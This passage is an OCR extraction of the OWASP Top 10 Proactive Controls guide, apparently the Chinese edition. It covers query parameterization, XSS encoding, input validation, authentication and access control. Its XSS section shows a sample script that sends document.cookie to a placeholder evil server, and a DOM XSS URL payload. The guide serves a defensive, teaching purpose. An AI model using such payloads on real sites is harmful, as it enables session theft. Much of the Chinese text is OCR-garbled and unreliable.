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About OWASP

The Open Web Application Security Project (OWASP) is a 501c3 non for profit
educational charity dedicated to enabling organizations to design, develop,
acquire, operate, and maintain secure software. All OWASP tools, documents,
forums, and chapters are free and open to anyone interested in improving
application security. We can be found at www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures
allows us to provide unbiased, practical, cost effective information about
application security.

OWASP is not affiliated with any technology company. Similar to many open
source software projects, OWASP produces many types of materials in a
collaborative and open way. The OWASP Foundation is a not-for-profit entity that
ensures the project's long-term success.
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® OWASP Top 104

References

e OWASP Testing Guide
e OWASP ASVS

Tools

o OWASP ZAP

e  OWASP Web Testing Environment Project
e OWASP OWTF

o BDD Security Open Source Testing Framework

e Gauntlt Security Testing Open Source Framework

Training

e OWASP Security Shepherd
e OWASP Mutillidae 2 Project
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RBILIE T A~ g o,

B SQLiZ » e 2 VB e 2 pHF LT 2Bl | iy

o

TALF - B SEc B39 Java fAE 4 G

String newName = request.getParameter("newName");
int id = Integer.parselnt(request.getParameter("id"));

PreparedStatement pstmt = con.prepareStatement ("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");

pstmt.setString(1, newName);

pstmt.setInt(2, id);

PHP # &

& % PDO £ PHP $odfcit 434 4 6

$stmt = $dbh->prepare("update users set email=:new_email where
id=:user_id");

$stmt->bindParam( ' :new_email', $email);

$stmt->bindParam( ' :user _id', $id);

Python # &

i# * Python %#ci* % 3§ ade b

email = REQUEST[ ‘email’]

id = REQUEST[ 'id']
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cur.execute(update users set email=:new_email where id=:user_id”,

{"new_email": email, "user_id": id})
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NET 4 o

% C# NET %-dcit 439 chie bl

string sql = "SELECT * FROM Customers WHERE CustomerId =
@CustomerId";

SqlCommand command = new SqlCommand(sql);

command.Parameters.Add(new SglParameter("@CustomerId",
System.Data.SqlDbType.Int));

command.Parameters["@CustomerId”].Value = 1;

R v S

e OWASP Top 10 2013-A1-Injection
e OWASP Mobile Top 10 2014-M1 Weak Server Side Controls

33

e  OWASP Query Parameterization Cheat Sheet
e OWASP SQL Injection Cheat Sheet
e OWASP Secure Coding Practices Quick Reference Guide
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JavaScript
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?‘9 l;l]
%18 XSS site { seip R

<script>document.body.innerHTML("Jim was here");</script>

XSS ¢ 35 B

<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;

</script>

XSS #g 3]
XSS #h= fE )
*  Persistent 7%
. Reflected » #fi+
- DOM based DOM
Persistent XSS (or Stored XSS) i & 4 # # XSS se# ¥ Ak iE s
L FH RN ARE Y. Btk XSS s 2 N E & R g s

FIRrg 23R AE b2 B3R E X IR, H - h XSS s

Reflected XSS ¢ # # = F] & £ U™ XSS ey » = 5 URL 59—

B, A E e FBAEFF T RL § € £ 3 X B F% URL Pz, XSS
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If»?f ¢ 4% . Reflected XSSizth enrc & = sVt fil 5 7RA £ 'k,
FeehortEFn R LFLREERY Ff 8- Haa b, FEi
PEBRFOTRT A g8

DOM based XSS i &4 % 2 DOM & % R HIML. » i F &8 7 §
e, A SR RET AR T EEE DM hER Bea oot
g, BRI E S NN R AR G EARESE. B AR, By

hxxp://www. example. com/test. html & 7z T 5|42\ 75 :

<script>document.write("Current URL : " +
document.baseURI);</script>

A DOM Based XSS = # = ;& v m ¥ F @ # [RL:
hxxp://www. example. com/test. html#<script>alert(l)</script>

dod B A RAe A2 A8 T & 2 I <scriptralert(1)</script>, %]
% JavaScript 34 7 2 & % 1E DOM 9 ;8 = =,

e Ak XSS B ke . W R E L h Ry
FH AR 2T, R B cde MBS T A, SR T AR
#Fod 30 XSS hfiy » At i L TR SR G & HIML B,
HTML body &' &_JavaScript #%;% 48 %

$m#g e 3% 5 HTML Entity Encoding, JavaScript Encoding &
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Percent Encoding (aka URL Encoding) %. OWASP’ s Java Encoder
Project #% & ¥nfh o, ¥ 11 45 Java & (7 %fg. NET 4.5, ¥ 10 id
* AntiXssEncoder Class, i& # #& ;% & #% & (CSS, HIML, URL,
JavaScriptString £ XML encoders & % F. %#B > ;. ¥ *F AntiXSS
f2;8 B x & 7 LDAP ¥ VBScript th¥a# = 3%, % - fa | iz i3
e T ARG RS AL

S A2 Y

LR AR50, 2 8 %:F WebView % android/i0S & * 4235\ & 1
HIML/JavaScript p %, =@ * 9§ & Safari & Chrome t% < 7
o T radnle. FlLCEPT s Y A2 R, XSS § BEE R O
> ARG S s oy g & HIML/ JavaScript § » 2] WebView p=
b ke XSS s Fpt WebView » £0%% % krc#* 2 b f 2
L GlAeRAp, BRI B EGR N, FER S R,
P> THRIER B AR S,

H oKk N E S N EBR AR 2N £
WebView.

® Ll rRC R ey Aapbe e Sl R R R S gt

e B {ﬁ%} 3] Web View cr%f8 Kk = =,
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® LiFEHINFIRT 4ok WebView ¥ 2 Jf & Bpom vhIvge sk TR,
EHRRET X 2N FEIRBRRARFEPMPN F, Vo
HTML/ JavaScript ﬂ?ﬁﬂ BAM S R, WAL ER D
JavaScript #%.;% 75 sz ¥

Java #

2 ) %k #, OWASP Java Encoder i & %3 2 XSS B #E % 420

& : OWASP Java Encoder Project.

PHP & &
Zend Framework 2. Zend\Escaper ¥ ™ * K341 fy &) chihif.

# % P2 oA

<?php
$input = '<script>alert("zf2")</script>';

$escaper = new Zend\Escaper\Escaper('utf-8');

// somewhere in an HTML template
<div class="user-provided-input">

<?php echo $escaper->escapeHtml($input);?>

</div>

i P

® (OWASP Top 10 2013-Al-Injection
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® (OWASP Top 10 2013-A3-Cross-Site Scripting (XSS)

® (OWASP Mobile Top 10 2014-M7 Client Side Injection
>3

® i sz F %< OWASP Top 10 2013-Al-Injection

® XSSrx#HFm 4+ XSS

® (OWASP XSS Filter Evasion Attacks

® £ XSS4p s OWASP XSS (Cross Site Scripting) Prevention
Cheat Sheet

® 3£ DOM XSSOWASP DOM based XSS Prevention Cheat Sheet

® & Microsoft  AntiXSS % #% 4 & &
ASP. NET. http://haacked. com/archive/2010/04/06/using—an
tixss—as-the-defaul t-encoder-for-asp-net. aspx/

® i * Microsoft AntiXSS % # #& X B 1 £ X% B I
#c . https://msdn. microsoft. com/en-us/security/aa973814. a
SpX

18

® OWASP Java Encoder Project
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(fe % %330,

® [TTP headers

® C(Cookies

® GET £ POST %-#(# % hidden fields)

® % @ uploads (¢ ZAh% T &4h &% hfy )

ke R f7 50 mﬁ%l » &

® Inter—process communication (IPC - &4, Android Intents)
® i PIRFRHE-DFTH

® ik F BT

ST~ R, ¥ LehF A N, - B

s

LH T g5

—

LHAGHER Y A LT b B R FEY . 2L
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chyc B 3 BT 37

Regular Expression

—

Regular expressions # &= F A% @ &K\ eh- fa7 34 o4 - /8

ikt w LH w3

—=be

TR H —%gj_pr e xh pFE F PET LR dﬂz LA, mARE T 4R

BEFR.PLFVAEEELTH, B ELOTH. S8
Regular Expressions egkza > 3%, ¥ MBo LH e d { 7 20k
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B kR, 24P 4I* regular expression i i * F g b 40T

Ala-20-9_1{3,16}$

iz regular expression fFALE > B ORTE B F A, BeF, AR
@ F LAREIL 3-16 B & R T A

IR 7 E 2 AR R B8

A(2=.*[a-2]) (?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}%

it B regular expression "4 %88 ©oav 9 2 10 3 4000 B 3 ~ & A,
%ﬁﬁ"’?j)‘ Fake 7l BEFER, FFRPE0E % 5 or hE.

# % % + 2 B o regular expression F b T o4 4
% http://www. w3. org/TR/htm15/forms. html#valid-e-mail-addre

SS).

~a-zA-Z0-9. | #$%&" ¥+ /=2~ " {|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

% ¥ cfiregular expressions £33k 3+ ¢ ¥ 3k DOS st | iE ik i 2
itkae LHPE ¥ 0@ * regular expression SuRiE 1 E pLEA

CASECAREN Rglii )
< F ke g2 B B endl regular expressions. # B ok, 4o gk (7 el *
R R AL HIL S0P F, 88 TR g HTML 78R R enp 3 g s

o LH of VR HIML %@ g B, @ 2% * regular expression

e ;8 %+ XSS Prevention Cheat Sheet on HTML Sanitization.
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PHP %fﬂ]
PHP V5.2 2 o B vy » FEAR S 0p 202 &~ and . e

i R 7 "’t’ﬁ/@m#’w

<?php
S$sanitized email = filter var(S$email, FILTER SANITIZE EMAIL)

if (filter var($sanitized email, FILTER VALIDATE EMAIL)) {

echo "This sanitized email address is considered valid.\n";

}

1% : Regular Expression :

% * regular expression 7 ;Y HF ¢ Rk E S N RpgE, He
BRI UF R P R AR D o] e 4230 0 3

R R v 2 R PN dod &gy d HIML P %, ij*uu’» BB
it HTML 078 12 # o+ Cross-Site Scripting sz #. 4r% & i% 1% SQL 33
3T, ’T}“ % Jf i@ % 28t 439 Query Parameterization = ;N 4+
# XSS & 2_SQL injection fsz > 4R & 2 L H ¥ hF q‘iﬁig?l » B

kP RELT 2E.

v20 © 2002-2016 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. 20



ctive

B”ﬁ"g A OWASP Top 10 Proactive Controls Project
by CONTROLS

PR P

® OWASP Top 10 2013-Al-Injection (in part)

® OWASP Top 10 2013-A3-Cross-Site Scripting (XSS) (in part)

® OWASP Top 10 2013-A10-Unvalidated Redirects and Forwards

® OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs
(in part)

g;.:lv
Y

® OWASP Input Validation Cheat Sheet

® OWASP Testing for Input Validation

® OWASP IOS Cheat Sheet Security Decisions via Untrusted Inputs

1%

® OWASP JSON Sanitizer Project

® OWASP Java HTML Sanitizer Project
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34
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N
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=

ALK A, F]P sessions iz

ErlE I - Bl Aahidg, 2 EEe FEE e, &
Z PRI engp 3 3% identity federation, H — tRELE » 0
single sign on ¥ %75 ¢ 1, &, L PR T E.

TR & 2 R auE R AR M AR A

i * % %3 u#% Multi-Factor Authentication

% 71+ :u# -factor authentication (MFA) e ;8% i pg ifid # *‘gfxévz

CRARER S ELE TS

o« % ég HIE—ZEEE PIN
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R T

e RYFEGE - AFEM Gk

1] 2:% OWASP Authentication Cheat Sheet Hfii 54127 .

£+ 4238 . Token-Based Authentication

FRF S BRY EAP S RPAEG LA RELY S A LB
ﬁ.ﬁ#%ﬁ%yﬁﬁ%ﬁ%%wiﬁjR$ A3 - mEpv
i * i ERS token, e BB T UEFIRERE LI BEN TR
B

X 2BEER

SOERELRIVFEFE, BT FARABZEY (X2 NG L
SNSRI PV LR AN T RN N Sk

?(\-:'r /2“: ~ E?PLE‘;’U'IL;CE\ J ZF‘X :RA

% B OWASP Password Storage Cheat Sheet

1\3 c?ﬁgj "Q éfﬁ FE##
B —gt;c}zﬂ;{f@? SRR e R, - BEORBYAR

FALERT S FITRESS N, Gl R R XN - @
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=4
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\\\?Er

R

Forgot Password Cheat Sheet and Choosing and Using Security Questio

ns Cheat Sheet

E A YL

FRILES L ATIVER, I Wik g 24 A0 session ID.

TR L E G otin g i session & TR LE, E - B

¥ Session Management Cheat Sheet .

g s n Bt EA%E
AR e b A L e RN e FEMY | S ey
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if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
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deleteAccount();

}
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if (user.hasAccess("DELETE_ACCOUNT")) {

deleteAccount();

}
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-assumenosideeffects class android.util.Log

public static boolean isloggable(java.lang.String, int);
public static int v(...);

public static int i(...);

v20 © 2002-2016 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. 35


http://developer.android.com/guide/developing/tools/proguard.html

B‘ﬁg \ ctive OWASP Top 10 Proactive Controls Project

CONTROLS

public static int w(...);
public static int d(...);

public static int e(...);

}
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#ifndef DEBUG
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t#tendif
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